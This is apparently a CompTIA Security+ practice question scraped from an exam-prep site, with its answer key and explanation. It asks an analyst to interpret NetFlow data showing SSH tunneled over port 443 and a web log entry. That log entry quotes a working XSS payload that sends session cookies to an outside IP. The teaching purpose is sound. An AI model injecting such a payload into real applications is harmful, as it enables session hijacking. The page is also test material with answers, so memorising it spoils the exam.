` designed to steal administrative session cookies via client-side execution, which is the definition of Cross-Site Scripting (XSS). Furthermore, detecting SSH disguised as HTTPS"}},"eduQuestionType":"Multiple choice","isAccessibleForFree":true},{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Examkin","item":"https://examkin.com/tr"},{"@type":"ListItem","position":2,"name":"CompTIA Security+","item":"https://examkin.com/tr/exams/comptia-security-plus"},{"@type":"ListItem","position":3,"name":"Security Operations","item":"https://examkin.com/tr/exams/comptia-security-plus/t/SECURITY_CORE__security_operations"},{"@type":"ListItem","position":4,"name":"Network Security Monitoring and Alerting","item":"https://examkin.com/tr/exams/comptia-security-plus/t/SECURITY_CORE__security_operations__network_security_monitoring_and_alerting"},{"@type":"ListItem","position":5,"name":"Soru","item":"https://examkin.com/tr/exams/comptia-security-plus/q/73f7726f-fafc-41ee-804d-af6404bde596"}]}]

A Security Operations Center (SOC) analyst is reviewing network monitoring telemetry and alert logs following an automated perimeter trigger. NetFlow records display an internal workstation (10.1.5.82) transferring 18 GB of outbound data over TCP port 443 to an unknown external destination (198.51.100.77) during off-hours. A deep packet inspection alert from the Network Intrusion Detection System (NIDS) flags the session payload format as encapsulated SSH rather than standard TLS. Additionally, an associated internal web application log displays the following incoming HTTP GET request parameter: `GET /profile?user=<script>window.location='http://198.51.100.77/log?c='+document.cookie</script> HTTP/1.1`. Which TWO of the following conclusions and monitoring actions are most accurate based on this evidence?

1. The web application telemetry indicates a Cross-Site Scripting (XSS) attack was leveraged to hijack session tokens.Cevap
2. B
   The web application telemetry indicates a SQL injection attack designed to extract database schema structures.
3. Update perimeter NIPS rules to perform application-layer payload decoding to detect and prevent unauthorized protocol tunneling over standard ports.Cevap
4. D
   Implement a network firewall rule restricting incoming ICMP type 8 echo requests to stop the outbound SSH tunnel exfiltration.

Cevap

The telemetry demonstrates a Cross-Site Scripting (XSS) attack used for session hijacking, and the appropriate monitoring control is configuring NIPS rules for application-layer payload decoding to detect protocol tunneling.

The incoming GET request parameter contains JavaScript code `<script>window.location=...</script>` designed to steal administrative session cookies via client-side execution, which is the definition of Cross-Site Scripting (XSS). Furthermore, detecting SSH disguised as HTTPS over port 443 requires network intrusion prevention systems (NIPS) equipped with application-layer payload decoding and deep packet inspection to recognize protocol anomalies and enforce blocking.

Adım Adım Çözüm

1

Analyze the web application log payload

Identified client-side JavaScript (<script> tags) attempting to steal session cookies, confirming a Cross-Site Scripting (XSS) attack rather than a SQL injection.

Script tags operating on DOM objects indicate client-side code execution.

2

Analyze NetFlow telemetry and NIDS alert data

Confirmed SSH protocol encapsulation over TCP port 443 carrying large data transfers (18 GB).

Attackers disguise SSH traffic over HTTPS (port 443) to evade basic port-based filtering.

3

Determine the appropriate network security monitoring response

Deploy NIPS signatures that inspect application-layer payloads and enforce protocol compliance on port 443.

Deep packet inspection (DPI) prevents unauthorized tunneling by validating that port 443 traffic conforms to legitimate TLS handshakes.

Anahtar Kavram

Network Security Monitoring, Protocol Tunneling Detection, and Web Attack Analysis

Sık Yapılan Hatalar